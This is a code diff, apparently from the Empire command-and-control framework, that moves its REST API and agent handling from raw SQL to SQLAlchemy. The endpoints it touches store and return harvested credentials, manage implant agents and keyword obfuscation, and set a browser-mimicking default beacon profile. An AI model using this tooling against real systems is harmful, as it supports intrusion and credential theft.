12621200 if not 'notes' in request.json:
1263 return make_response(jsonify({'error':'JSON body must include key "notes"'}), 400)
1264
1265 notes = request.json['notes']
1266
1267 try:
1268 cur = conn.cursor()
1269 cur.execute("UPDATE agents SET notes = ? WHERE name = ?", (notes, agent_name))
1270
1271 finally:
1272 cur.close()
1201 return make_response(jsonify({'error': 'JSON body must include key "notes"'}), 400)
1202
1203 agent = main.agents.get_agent_from_name_or_session_id(agent_name)
1204 if not agent:
1205 return make_response(jsonify({'error': f'Agent not found with name {agent_name}'}))
1206
1207 agent.notes = request.json['notes']
1208 Session().commit()
12731209
12741210 return jsonify({'success': True})
12751211
12781214 """
12791215 Returns JSON describing the credentials stored in the backend database.
12801216 """
1281 credsRaw = execute_db_query(conn, 'SELECT ID, credtype, domain, username, password, host, os, sid, notes FROM credentials')
1282 creds = []
1283
1284 for credRaw in credsRaw:
1285 [ID, credtype, domain, username, password, host, os, sid, notes] = credRaw
1286 creds.append({"ID":ID, "credtype":credtype, "domain":domain, "username":username, "password":password, "host":host, "os":os, "sid":sid, "notes":notes})
1287
1288 return jsonify({'creds' : creds})
1217 credential_list = []
1218 credentials_raw = Session().query(models.Credential).all()
1219
1220 for credential in credentials_raw:
1221 credential_list.append({"ID": credential.id, "credtype": credential.credtype, "domain": credential.domain,
1222 "username": credential.username, "password": credential.password,
1223 "host": credential.host, "os": credential.os, "sid": credential.sid,
1224 "notes": credential.notes})
1225
1226 return jsonify({'creds': credential_list})
12891227
12901228 @app.route('/api/creds', methods=['POST'])
12911229 def add_creds():
12931231 Adds credentials to the database
12941232 """
12951233 if not request.json:
1296 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
1234 return make_response(jsonify({'error': 'request body must be valid JSON'}), 400)
12971235
12981236 if not 'credentials' in request.json:
1299 return make_response(jsonify({'error':'JSON body must include key "credentials"'}), 400)
1237 return make_response(jsonify({'error': 'JSON body must include key "credentials"'}), 400)
13001238
13011239 creds = request.json['credentials']
13021240
13031241 if not type(creds) == list:
1304 return make_response(jsonify({'error':'credentials must be provided as a list'}), 400)
1242 return make_response(jsonify({'error': 'credentials must be provided as a list'}), 400)
13051243
13061244 required_fields = ["credtype", "domain", "username", "password", "host"]
13071245 optional_fields = ["OS", "notes", "sid"]
13081246
13091247 for cred in creds:
13101248 # ensure every credential given to us has all the required fields
1311 if not all (k in cred for k in required_fields):
1312 return make_response(jsonify({'error':'invalid credential %s' %(cred)}), 400)
1249 if not all(k in cred for k in required_fields):
1250 return make_response(jsonify({'error': 'invalid credential %s' % (cred)}), 400)
13131251
13141252 # ensure the type is either "hash" or "plaintext"
13151253 if not (cred['credtype'] == u'hash' or cred['credtype'] == u'plaintext'):
1316 return make_response(jsonify({'error':'invalid credential type in %s, must be "hash" or "plaintext"' %(cred)}), 400)
1254 return make_response(
1255 jsonify({'error': 'invalid credential type in %s, must be "hash" or "plaintext"' % (cred)}), 400)
13171256
13181257 # other than that... just assume everything is valid
13191258
13531292 """
13541293 Returns JSON describing the reporting events from the backend database.
13551294 """
1356 reportingRaw = execute_db_query(conn, '''
1357 SELECT
1358 reporting.timestamp,
1359 event_type,
1360 u.username,
1361 substr(reporting.name, pos+1) as agent_name,
1362 a.hostname,
1363 taskID,
1364 t.data as "Task",
1365 r.data as "Results"
1366 FROM
1367 (
1368 SELECT
1369 timestamp,
1370 event_type,
1371 name,
1372 instr(name, '/') as pos,
1373 taskID
1374 FROM reporting
1375 WHERE name LIKE 'agent%'
1376 AND reporting.event_type == 'task' OR reporting.event_type == 'checkin'
1377 ) reporting
1378 LEFT OUTER JOIN taskings t on (reporting.taskID = t.id) AND (agent_name = t.agent)
1379 LEFT OUTER JOIN results r on (reporting.taskID = r.id) AND (agent_name = r.agent)
1380 JOIN agents a on agent_name = a.session_id
1381 LEFT OUTER JOIN users u on t.user_id = u.id
1382 ORDER BY reporting.timestamp DESC
1383 ''')
1384 reportingEvents = []
1385
1386 for reportingEvent in reportingRaw:
1387 [timestamp, event_type, user_name, agent_name, host_name, taskID, task, results] = reportingEvent
1388 reportingEvents.append({"timestamp":timestamp, "event_type":event_type, "username":user_name, "agent_name":agent_name, "host_name":host_name, "taskID":taskID, "task":task, "results":results})
1389
1390 return jsonify({'reporting' : reportingEvents})
1295 # Add filters for agent, event_type, and MAYBE a like filter on msg
1296 reporting_raw = main.run_report_query()
1297 reporting_events = []
1298
1299 for reporting_event in reporting_raw:
1300 reporting_events.append(
1301 {"timestamp": reporting_event.timestamp, "event_type": reporting_event.event_type, "username": reporting_event.username, "agent_name": reporting_event.agent_name,
1302 "host_name": reporting_event.hostname, "taskID": reporting_event.taskID, "task": reporting_event.task, "results": reporting_event.results})
1303
1304 return jsonify({'reporting': reporting_events})
13911305
13921306 @app.route('/api/reporting/generate', methods=['POST'])
13931307 def generate_report():
13961310 Takes {'logo':'directory_location'}
13971311 """
13981312 if not request.json:
1399 return make_response(jsonify({'error':'request body must be valid JSON'}), 400)
1313 return make_response(jsonify({'error': 'request body must be valid JSON'}), 400)
14001314
14011315 directory_location = request.json['logo']
14021316
14111325 """
14121326
14131327 # first resolve the supplied name to a sessionID
1414 results = execute_db_query(conn, 'SELECT session_id FROM agents WHERE name=?', [reporting_agent])
1415 if results:
1416 sessionID = results[0][0]
1417 else:
1418 return jsonify({'reporting' : ''})
1419
1420 reportingRaw = execute_db_query(conn, 'SELECT ID, name, event_type, message, timestamp, taskID FROM reporting WHERE name=?', [sessionID])
1421 reportingEvents = []
1422
1423 for reportingEvent in reportingRaw:
1424 [ID, name, event_type, message, timestamp, taskID] = reportingEvent
1425 reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":json.loads(message), "timestamp":timestamp, "taskID":taskID})
1426
1427 return jsonify({'reporting' : reportingEvents})
1328 session_id = Session().query(models.Agent.session_id).filter(models.Agent.name == reporting_agent).scalar()
1329 if not session_id:
1330 return jsonify({'reporting': ''})
1331
1332 # lots of confusion around name/session_id in these queries.
1333 reporting_raw = Session().query(models.Reporting).filter(models.Reporting.name.contains(session_id)).all()
1334 reporting_events = []
1335
1336 for reporting_event in reporting_raw:
1337 reporting_events.append(
1338 {"ID": reporting_event.id, "agentname": reporting_event.name, "event_type": reporting_event.event_type,
1339 "message": json.loads(reporting_event.message), "timestamp": reporting_event.timestamp, "taskID": reporting_event.taskID})
1340
1341 return jsonify({'reporting': reporting_events})
14281342
14291343 @app.route('/api/reporting/type/<string:event_type>', methods=['GET'])
14301344 def get_reporting_type(event_type):
14321346 Returns JSON describing the reporting events from the backend database for
14331347 the event type specified by event_type.
14341348 """
1435 reportingRaw = execute_db_query(conn, 'SELECT ID, name, event_type, message, timestamp, taskID FROM reporting WHERE event_type=?', [event_type])
1436 reportingEvents = []
1437
1438 for reportingEvent in reportingRaw:
1439 [ID, name, event_type, message, timestamp, taskID] = reportingEvent
1440 reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":json.loads(message), "timestamp":timestamp, "taskID":taskID})
1441
1442 return jsonify({'reporting' : reportingEvents})
1349 reporting_raw = Session().query(models.Reporting).filter(models.Reporting.event_type == event_type).all()
1350 reporting_events = []
1351
1352 for reporting_event in reporting_raw:
1353 reporting_events.append(
1354 {"ID": reporting_event.id, "agentname": reporting_event.name, "event_type": reporting_event.event_type,
1355 "message": json.loads(reporting_event.message), "timestamp": reporting_event.timestamp,
1356 "taskID": reporting_event.taskID})
1357
1358 return jsonify({'reporting': reporting_events})
14431359
14441360 @app.route('/api/reporting/msg/<string:msg>', methods=['GET'])
14451361 def get_reporting_msg(msg):
14471363 Returns JSON describing the reporting events from the backend database for
14481364 the any messages with *msg* specified by msg.
14491365 """
1450 reportingRaw = execute_db_query(conn, "SELECT ID, name, event_type, message, timestamp, taskID FROM reporting WHERE message like ?", ['%'+msg+'%'])
1451 reportingEvents = []
1452
1453 for reportingEvent in reportingRaw:
1454 [ID, name, event_type, message, timestamp, taskID] = reportingEvent
1455 reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":json.loads(message), "timestamp":timestamp, "taskID":taskID})
1456
1457 return jsonify({'reporting' : reportingEvents})
1366 reporting_raw = Session().query(models.Reporting).filter(models.Reporting.message.contains(msg)).all()
1367 reporting_events = []
1368
1369 for reporting_event in reporting_raw:
1370 reporting_events.append(
1371 {"ID": reporting_event.id, "agentname": reporting_event.name, "event_type": reporting_event.event_type,
1372 "message": json.loads(reporting_event.message), "timestamp": reporting_event.timestamp,
1373 "taskID": reporting_event.taskID})
1374
1375 return jsonify({'reporting': reporting_events})
14581376
14591377 @app.route('/api/admin/login', methods=['POST'])
14601378 def server_login():
14651383 if not request.json or not 'username' in request.json or not 'password' in request.json:
14661384 abort(400)
14671385
1468 suppliedUsername = request.json['username']
1469 suppliedPassword = request.json['password']
1386 supplied_username = request.json['username']
1387 supplied_password = request.json['password']
14701388
14711389 # try to prevent some basic bruting
14721390 time.sleep(2)
1473 token = main.users.user_login(suppliedUsername, suppliedPassword)
1391 token = main.users.user_login(supplied_username, supplied_password)
14741392
14751393 if token:
14761394 return jsonify({'token': token})
15221440
15231441 # add keywords to the obfuscation database
15241442 if 'keyword_obfuscation' in request.json:
1525 cur = conn.cursor()
15261443 keyword = request.json['keyword_obfuscation']
15271444 try:
15281445 # if no replacement given then generate a random word
15311448 random.choice(string.ascii_uppercase + string.digits) for _ in range(4))
15321449 else:
15331450 keyword_replacement = request.json['keyword_replacement']
1534 cur.execute("INSERT INTO functions VALUES(?,?)", (keyword, keyword_replacement))
1535 cur.close()
1451 Session().add(models.Function(keyword=keyword, keyword_replacement=keyword_replacement))
1452 Session().commit()
15361453 except Exception:
15371454 print(helpers.color("couldn't connect to Database"))
15381455
15431460 """
15441461 Returns JSON of the users from the backend database.
15451462 """
1546 reportingRaw = execute_db_query(conn, 'SELECT ID, username, last_logon_time, enabled, admin FROM users')
1547 reporting_users = []
1463 users_raw = Session().query(models.User).all()
1464
15481465 user_report = []
15491466
1550 for reporting_users in reportingRaw:
1551 [ID, username, last_logon_time, enabled, admin] = reporting_users
1552 data = {"ID": ID, "username": username, "last_logon_time": last_logon_time, "enabled": bool(enabled), "admin": bool(admin)}
1467 for reporting_users in users_raw:
1468 data = {"ID": reporting_users.id, "username": reporting_users.username,
1469 "last_logon_time": reporting_users.last_logon_time, "enabled": reporting_users.enabled,
1470 "admin": reporting_users.admin}
15531471 user_report.append(data)
15541472
15551473 return jsonify({'users': user_report})
15591477 """
15601478 return the user for an id
15611479 """
1562 user = execute_db_query(conn, 'SELECT ID, username, last_logon_time, enabled, admin, notes FROM users WHERE id = ?', [uid,])
1563
1564 if len(user) == 0:
1480 user = Session().query(models.User).filter(models.User.id == uid).first()
1481
1482 if user is None:
15651483 make_response(jsonify({'error': 'user %s not found' % uid}), 404)
15661484
1567 [ID, username, last_logon_time, enabled, admin, notes] = user[0]
1568 return jsonify({"ID": ID, "username": username, "last_logon_time": last_logon_time, "enabled": bool(enabled), "admin": bool(admin), "notes": notes})
1485 return jsonify(
1486 {"ID": user.id, "username": user.username, "last_logon_time": user.last_logon_time, "enabled": user.enabled,
1487 "admin": user.admin, "notes": user.notes})
15691488
15701489 @app.route('/api/users/me', methods=['GET'])
15711490 def get_user_me():
16261545 if not 'notes' in request.json:
16271546 return make_response(jsonify({'error': 'JSON body must include key "credentials"'}), 400)
16281547
1629 notes = request.json['notes']
1630
1631 try:
1632 cur = conn.cursor()
1633 cur.execute("UPDATE users SET notes = ? WHERE id = ?", (notes, uid))
1634
1635 finally:
1636 cur.close()
1548 user = Session().query(models.User).filter(models.User.id == uid).first()
1549 user.notes = request.json['notes']
1550 Session().commit()
16371551
16381552 return jsonify({'success': True})
16391553
17051619 """
17061620 global serverExitCommand
17071621
1708 if suppress:
1709 # repair stdout
1710 sys.stdout.close()
1711 sys.stdout = oldStdout
1712
17131622 print("\n * Shutting down Empire RESTful API")
1714
1715 if conn:
1716 conn.close()
17171623
17181624 if suppress:
17191625 print(" * Shutting down the Empire instance")
17741680 app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)
17751681
17761682
1777 def start_sockets(empire_menu: MainMenu, port: int = 5000):
1683 def start_sockets(empire_menu: MainMenu, port: int = 5000, suppress: bool = False):
17781684 app = Flask(__name__)
1779 socketio = SocketIO(app, cors_allowed_origins="*")
1685 app.json_encoder = MyJsonEncoder
1686 socketio = SocketIO(app, cors_allowed_origins="*", json=flask.json)
17801687 empire_menu.socketio = socketio
17811688 room = 'general' # A socketio user is in the general channel if the join the chat.
17821689 chat_participants = {}
17831690 chat_log = [] # This is really just meant to provide some context to a user that joins the convo.
1691
17841692 # In the future we can expand to store chat messages in the db if people want to retain a whole chat log.
1693
1694 if suppress:
1695 # suppress the normal Flask output
1696 log = logging.getLogger('werkzeug')
1697 log.setLevel(logging.ERROR)
17851698
17861699 def get_user_from_token():
17871700 user = empire_menu.users.get_user_from_token(request.args.get('token', ''))
18271740 :return: emits a leave event with the user's details.
18281741 """
18291742 user = get_user_from_token()
1830 chat_participants.pop(user['username'], None)
1831 leave_room(room)
1832 socketio.emit("chat/leave", {'user': user,
1833 'username': user['username'],
1834 'message': user['username'] + ' has left the room.'}, room=room)
1743 if user is not None:
1744 chat_participants.pop(user['username'], None)
1745 leave_room(room)
1746 socketio.emit("chat/leave", {'user': user,
1747 'username': user['username'],
1748 'message': user['username'] + ' has left the room.'}, room=room)
18351749
18361750 @socketio.on('chat/message')
18371751 def on_message(data):
18761790
18771791
18781792 if __name__ == '__main__':
1879 parser = argparse.ArgumentParser()
1880
1881 generalGroup = parser.add_argument_group('General Options')
1882 generalGroup.add_argument('--debug', nargs='?', const='1', help='Debug level for output (default of 1, 2 for msg display).')
1883 generalGroup.add_argument('--reset', action='store_true', help="Resets Empire's database to defaults.")
1884 generalGroup.add_argument('-v', '--version', action='store_true', help='Display current Empire version.')
1885 generalGroup.add_argument('-r','--resource', nargs=1, help='Run the Empire commands in the specified resource file after startup.')
1886
1887 cliGroup = parser.add_argument_group('CLI Payload Options')
1888 cliGroup.add_argument('-l', '--listener', nargs='?', const="list", help='Display listener options. Displays all listeners if nothing is specified.')
1889 cliGroup.add_argument('-s', '--stager', nargs='?', const="list", help='Specify a stager to generate. Lists all stagers if none is specified.')
1890 cliGroup.add_argument('-o', '--stager-options', nargs='*', help="Supply options to set for a stager in OPTION=VALUE format. Lists options if nothing is specified.")
1891
1892 restGroup = parser.add_argument_group('RESTful API Options')
1893 launchGroup = restGroup.add_mutually_exclusive_group()
1894 launchGroup.add_argument('--rest', action='store_true', help='Run Empire and the RESTful API.')
1895 launchGroup.add_argument('--headless', action='store_true', help='Run Empire and the RESTful API headless without the usual interface.')
1896 restGroup.add_argument('--restport', type=int, nargs=1, help='Port to run the Empire RESTful API on. Defaults to 1337')
1897 restGroup.add_argument('-n', '--notifications', action='store_true', help='Run the SocketIO notifications server.')
1898 restGroup.add_argument('--socketport', type=int, nargs=1, help='Port to run socketio on. Defaults to 5000')
1899 restGroup.add_argument('--username', nargs=1, help='Start the RESTful API with the specified username instead of pulling from empire.db')
1900 restGroup.add_argument('--password', nargs=1, help='Start the RESTful API with the specified password instead of pulling from empire.db')
1901
1902 args = parser.parse_args()
1793 args = arguments.args
19031794 database_check_docker()
19041795
19051796 if not args.restport:
19161807 print(empire.VERSION)
19171808
19181809 if args.reset:
1919 choice = input("\n [>] Would you like to reset your Empire instance? [y/N]: ")
1920 if choice.lower() == "y":
1921 subprocess.call("./setup/reset.sh")
1922 else:
1810 # Reset called from database/base.py
1811 sys.exit()
1812
1813 elif args.headless:
1814 # start an Empire instance and RESTful API and suppress output
1815 main = empire.MainMenu(args=args)
1816 def thread_websocket(empire_menu):
1817 try:
1818 start_sockets(empire_menu=empire_menu, suppress=True, port=int(args.socketport))
1819 except SystemExit as e:
1820 pass
1821
1822 thread2 = helpers.KThread(target=thread_websocket, args=(main,))
1823 thread2.daemon = True
1824 thread2.start()
1825 sleep(2)
1826
1827 try:
1828 start_restful_api(empireMenu=main, suppress=True, headless=True, username=args.username, password=args.password,
1829 port=args.restport)
1830 except SystemExit as e:
1831 pass
1832
1833 elif args.headless:
1834 # start an Empire instance and RESTful API and suppress output
1835 main = empire.MainMenu(args=args)
1836 def thread_websocket(empire_menu):
1837 try:
1838 start_sockets(empire_menu=empire_menu, suppress=True, port=int(args.socketport))
1839 except SystemExit as e:
1840 pass
1841
1842 thread2 = helpers.KThread(target=thread_websocket, args=(main,))
1843 thread2.daemon = True
1844 thread2.start()
1845 sleep(2)
1846
1847 try:
1848 start_restful_api(empireMenu=main, suppress=True, headless=True, username=args.username, password=args.password,
1849 port=args.restport)
1850 except SystemExit as e:
19231851 pass
19241852
19251853 elif args.rest:
19261854 # start an Empire instance and RESTful API
19271855 main = empire.MainMenu(args=args)
1856
1857
19281858 def thread_api(empireMenu):
19291859
19301860 try:
1931 start_restful_api(empireMenu=empireMenu, suppress=False, username=args.username, password=args.password, port=args.restport)
1861 start_restful_api(empireMenu=empireMenu, suppress=False, username=args.username, password=args.password,
1862 port=args.restport)
19321863 except SystemExit as e:
19331864 pass
1934
19351865
19361866 thread = helpers.KThread(target=thread_api, args=(main,))
19371867 thread.daemon = True
19381868 thread.start()
19391869 sleep(2)
19401870
1871
19411872 def thread_websocket(empire_menu):
19421873 try:
1943 start_sockets(empire_menu=empire_menu, port=int(args.socketport))
1874 start_sockets(empire_menu=empire_menu, suppress=False, port=int(args.socketport))
19441875 except SystemExit as e:
19451876 pass
19461877
1947 if args.notifications:
1948 thread2 = helpers.KThread(target=thread_websocket, args=(main,))
1949 thread2.daemon = True
1950 thread2.start()
1951 sleep(2)
1878 thread2 = helpers.KThread(target=thread_websocket, args=(main,))
1879 thread2.daemon = True
1880 thread2.start()
1881 sleep(2)
19521882
19531883 main.cmdloop()
19541884
1955 elif args.headless:
1956 # start an Empire instance and RESTful API and suppress output
1885 elif args.teamserver:
1886 # start an Empire instance and RESTful API
19571887 main = empire.MainMenu(args=args)
19581888
1959 try:
1960 start_restful_api(empireMenu=main, suppress=True, username=args.username, password=args.password, port=args.restport)
1961 except SystemExit as e:
1962 pass
1889 def thread_api(empireMenu):
1890
1891 try:
1892 start_restful_api(empireMenu=empireMenu, suppress=True, username=args.username, password=args.password,
1893 port=args.restport)
1894 except SystemExit as e:
1895 pass
1896
1897 thread = helpers.KThread(target=thread_api, args=(main,))
1898 thread.daemon = True
1899 thread.start()
1900 sleep(2)
1901
1902 def thread_websocket(empire_menu):
1903 try:
1904 start_sockets(empire_menu=empire_menu, suppress=True, port=int(args.socketport))
1905 except SystemExit as e:
1906 pass
1907
1908
1909 thread2 = helpers.KThread(target=thread_websocket, args=(main,))
1910 thread2.daemon = True
1911 thread2.start()
1912 sleep(2)
1913
1914 main.info()
19631915
19641916 else:
19651917 # normal execution
0 """
1 Parse arguments to be used in other modules.
2 """
3 import argparse
4
5 parser = argparse.ArgumentParser()
6
7 generalGroup = parser.add_argument_group('General Options')
8 generalGroup.add_argument('--debug', nargs='?', const='1',
9 help='Debug level for output (default of 1, 2 for msg display).')
10 generalGroup.add_argument('--reset', action='store_true', help="Resets Empire's database to defaults.")
11 generalGroup.add_argument('-v', '--version', action='store_true', help='Display current Empire version.')
12 generalGroup.add_argument('-r', '--resource', nargs=1,
13 help='Run the Empire commands in the specified resource file after startup.')
14
15 cliGroup = parser.add_argument_group('CLI Payload Options')
16 cliGroup.add_argument('-l', '--listener', nargs='?', const="list",
17 help='Display listener options. Displays all listeners if nothing is specified.')
18 cliGroup.add_argument('-s', '--stager', nargs='?', const="list",
19 help='Specify a stager to generate. Lists all stagers if none is specified.')
20 cliGroup.add_argument('-o', '--stager-options', nargs='*',
21 help="Supply options to set for a stager in OPTION=VALUE format. Lists options if nothing is specified.")
22
23 restGroup = parser.add_argument_group('RESTful API Options')
24 launchGroup = restGroup.add_mutually_exclusive_group()
25 launchGroup.add_argument('--rest', action='store_true', help='Run Empire and the RESTful API & Socket Server.')
26 launchGroup.add_argument('--headless', action='store_true',
27 help='Run the RESTful API and Socket Server headless without the usual interface.')
28 launchGroup.add_argument('--teamserver', action='store_true',
29 help='Run Empire Team Server with RESTful API and Socket Server.')
30 restGroup.add_argument('-n', '--notifications', action='store_true', help='Run the SocketIO notifications server.')
31 restGroup.add_argument('--restport', type=int, nargs=1, help='Port to run the Empire RESTful API on. Defaults to 1337')
32 restGroup.add_argument('--socketport', type=int, nargs=1, help='Port to run socketio on. Defaults to 5000')
33 restGroup.add_argument('--username', nargs=1,
34 help='Start the RESTful API with the specified username instead of pulling from empire.db')
35 restGroup.add_argument('--password', nargs=1,
36 help='Start the RESTful API with the specified password instead of pulling from empire.db')
37
38 args = parser.parse_args()
0 """
1 Connect to the default database at ./data/empire.db.
2 """
3 from __future__ import print_function
4 from __future__ import absolute_import
50
6 import sys
7 import sqlite3
8
9 from . import helpers
10
11
12 def connect_to_db():
13 try:
14 # set the database connectiont to autocommit w/ isolation level
15 conn = sqlite3.connect('./data/empire.db', check_same_thread=False)
16 conn.text_factory = str
17 conn.isolation_level = None
18 return conn
19
20 except Exception:
21 print(helpers.color("[!] Could not connect to database"))
22 print(helpers.color("[!] Please run database_setup.py"))
23 sys.exit()
24
25
26 db = connect_to_db()
7676 from . import helpers
7777 from . import messages
7878 from . import packets
79 from lib.database.base import Session
80 from lib.database import models
81 from sqlalchemy import or_, func, and_
7982
8083
8184 class Agents(object):
8386 Main class that contains agent handling functionality, including key
8487 negotiation in process_get() and process_post().
8588 """
89
8690 def __init__(self, MainMenu, args=None):
8791
8892 # pull out the controller objects
103107 # reinitialize any agents that already exist in the database
104108 dbAgents = self.get_agents_db()
105109 for agent in dbAgents:
106 agentInfo = {'sessionKey' : agent['session_key'], 'functions' : agent['functions']}
110 agentInfo = {'sessionKey': agent['session_key'], 'functions': agent['functions']}
107111 self.agents[agent['session_id']] = agentInfo
108112
109113 # pull out common configs from the main menu object in empire.py
110114 self.ipWhiteList = self.mainMenu.ipWhiteList
111115 self.ipBlackList = self.mainMenu.ipBlackList
112
113
114 def get_db_connection(self):
115 """
116 Returns the
117 """
118 self.lock.acquire()
119 self.mainMenu.conn.row_factory = None
120 self.lock.release()
121 return self.mainMenu.conn
122
123116
124117 ###############################################################
125118 #
127120 #
128121 ###############################################################
129122
123 @staticmethod
124 def get_agent_from_name_or_session_id(agent_name):
125 agent = Session().query(models.Agent).filter(or_(models.Agent.name == agent_name,
126 models.Agent.session_id == agent_name)).first()
127 return agent
128
130129 def is_agent_present(self, sessionID):
131130 """
132131 Checks if a given sessionID corresponds to an active agent.
139138
140139 return sessionID in self.agents
141140
142
143 def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours, lostLimit, sessionKey=None, nonce='', listener='', language=''):
141 def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours, lostLimit,
142 sessionKey=None, nonce='', listener='', language=''):
144143 """
145144 Add an agent to the internal cache and database.
146145 """
156155 if not profile or profile == '':
157156 profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
158157
159 conn = self.get_db_connection()
160
161 try:
162 self.lock.acquire()
163 cur = conn.cursor()
164 # add the agent
165 cur.execute("INSERT INTO agents (name, session_id, delay, jitter, external_ip, session_key, nonce, checkin_time, lastseen_time, profile, kill_date, working_hours, lost_limit, listener, language) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID, sessionID, delay, jitter, externalIP, sessionKey, nonce, checkinTime, lastSeenTime, profile, killDate, workingHours, lostLimit, listener, language))
166 cur.close()
167
168 # dispatch this event
169 message = "[*] New agent {} checked in".format(sessionID)
170 signal = json.dumps({
171 'print': True,
172 'message': message,
173 'timestamp': checkinTime.isoformat(),
174 'event_type': 'checkin'
175 })
176 dispatcher.send(signal, sender="agents/{}".format(sessionID))
177
178 # initialize the tasking/result buffers along with the client session key
179 self.agents[sessionID] = {'sessionKey': sessionKey, 'functions': []}
180 finally:
181 self.lock.release()
158 # add the agent
159 Session().add(models.Agent(name=sessionID,
160 session_id=sessionID,
161 delay=delay,
162 jitter=jitter,
163 external_ip=externalIP,
164 session_key=sessionKey,
165 nonce=nonce,
166 checkin_time=checkinTime,
167 lastseen_time=lastSeenTime,
168 profile=profile,
169 kill_date=killDate,
170 working_hours=workingHours,
171 lost_limit=lostLimit,
172 listener=listener,
173 language=language
174 ))
175 Session().commit()
176
177 # dispatch this event
178 message = "[*] New agent {} checked in".format(sessionID)
179 signal = json.dumps({
180 'print': True,
181 'message': message,
182 'timestamp': checkinTime.isoformat(),
183 'event_type': 'checkin'
184 })
185 dispatcher.send(signal, sender="agents/{}".format(sessionID))
186
187 # initialize the tasking/result buffers along with the client session key
188 self.agents[sessionID] = {'sessionKey': sessionKey, 'functions': []}
182189
183190 def get_agent_for_socket(self, session_id):
184 agent = self.get_agent_db(session_id)
185
186 lastseen_time = datetime.fromisoformat(agent['lastseen_time']).astimezone(timezone.utc)
187 stale = helpers.is_stale(lastseen_time, agent['delay'], agent['jitter'])
188 agent['stale'] = stale
189
190 if isinstance(agent['session_key'], bytes):
191 agent['session_key'] = agent['session_key'].decode('latin-1').encode('utf-8')
192
193 return agent
194
195 def remove_agent_db(self, sessionID):
191 agent = Session().query(models.Agent).filter(models.Agent.session_id == session_id).first()
192
193 return {"ID": agent.id, "session_id": agent.session_id, "listener": agent.listener, "name": agent.name,
194 "language": agent.language, "language_version": agent.language_version, "delay": agent.delay,
195 "jitter": agent.jitter, "external_ip": agent.external_ip, "internal_ip": agent.internal_ip,
196 "username": agent.username, "high_integrity": int(agent.high_integrity or 0),
197 "process_name": agent.process_name,
198 "process_id": agent.process_id, "hostname": agent.hostname, "os_details": agent.os_details,
199 "session_key": str(agent.session_key),
200 "nonce": agent.nonce, "checkin_time": agent.checkin_time,
201 "lastseen_time": agent.lastseen_time, "parent": agent.parent, "children": agent.children,
202 "servers": agent.servers, "profile": agent.profile, "functions": agent.functions,
203 "kill_date": agent.kill_date, "working_hours": agent.working_hours,
204 "lost_limit": agent.lost_limit,
205 "taskings": agent.taskings, "results": agent.results}
206
207 def remove_agent_db(self, session_id):
196208 """
197209 Remove an agent to the internal cache and database.
198210 """
199
200 conn = self.get_db_connection()
201
202 try:
203 if sessionID == '%' or sessionID.lower() == 'all':
204 sessionID = '%'
205 self.lock.acquire()
206 self.agents = {}
207 else:
208 # see if we were passed a name instead of an ID
209 nameid = self.get_agent_id_db(sessionID)
210 if nameid:
211 sessionID = nameid
212
213 self.lock.acquire()
214 # remove the agent from the internal cache
215 self.agents.pop(sessionID, None)
216
217 # remove the agent from the database
218 cur = conn.cursor()
219 cur.execute("DELETE FROM agents WHERE session_id LIKE ?", [sessionID])
220 cur.close()
221
222 # dispatch this event
223 message = "[*] Agent {} deleted".format(sessionID)
224 signal = json.dumps({
225 'print': True,
226 'message': message
227 })
228 dispatcher.send(signal, sender="agents/{}".format(sessionID))
229 finally:
230 self.lock.release()
231
211 if session_id == '%' or session_id.lower() == 'all':
212 session_id = '%'
213 self.agents = {}
214 else:
215 # see if we were passed a name instead of an ID
216 nameid = self.get_agent_id_db(session_id)
217 if nameid:
218 session_id = nameid
219
220 # remove the agent from the internal cache
221 self.agents.pop(session_id, None)
222
223 # remove the agent from the database
224 agent = Session().query(models.Agent).filter(models.Agent.session_id == session_id).first()
225 if agent:
226 Session().delete(agent)
227 Session().commit()
228
229 # dispatch this event
230 message = "[*] Agent {} deleted".format(session_id)
231 signal = json.dumps({
232 'print': True,
233 'message': message
234 })
235 dispatcher.send(signal, sender="agents/{}".format(session_id))
232236
233237 def is_ip_allowed(self, ip_address):
234238 """
235239 Check if the ip_address meshes with the whitelist/blacklist, if set.
236240 """
237
238 self.lock.acquire()
239241 if self.ipBlackList:
240242 if self.ipWhiteList:
241243 results = ip_address in self.ipWhiteList and ip_address not in self.ipBlackList
242 self.lock.release()
243244 return results
244245 else:
245246 results = ip_address not in self.ipBlackList
246 self.lock.release()
247247 return results
248248 if self.ipWhiteList:
249249 results = ip_address in self.ipWhiteList
250 self.lock.release()
251250 return results
252251 else:
253 self.lock.release()
254252 return True
255
256253
257254 def save_file(self, sessionID, path, data, filesize, append=False):
258255 """
266263 parts = path.split("\\")
267264
268265 # construct the appropriate save path
269 save_path = "%sdownloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
266 save_path = "%s/downloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
270267 filename = os.path.basename(parts[-1])
271268
272269 try:
273270 self.lock.acquire()
274271 # fix for 'skywalker' exploit by @zeroSteiner
275 safePath = os.path.abspath("%sdownloads/" % self.installPath)
272 safePath = os.path.abspath("%s/downloads/" % self.installPath)
276273 if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
277 message = "[!] WARNING: agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(sessionID, path, data)
274 message = "[!] WARNING: agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(
275 sessionID, path, data)
278276 signal = json.dumps({
279277 'print': True,
280278 'message': message
294292 f = open("%s/%s" % (save_path, filename), 'ab')
295293
296294 if "python" in lang:
297 print(helpers.color("\n[*] Compressed size of %s download: %s" %(filename, helpers.get_file_size(data)), color="green"))
295 print(
296 helpers.color("\n[*] Compressed size of %s download: %s" % (filename, helpers.get_file_size(data)),
297 color="green"))
298298 d = decompress.decompress()
299299 dec_data = d.dec_data(data)
300 print(helpers.color("[*] Final size of %s wrote: %s" %(filename, helpers.get_file_size(dec_data['data'])), color="green"))
300 print(helpers.color(
301 "[*] Final size of %s wrote: %s" % (filename, helpers.get_file_size(dec_data['data'])),
302 color="green"))
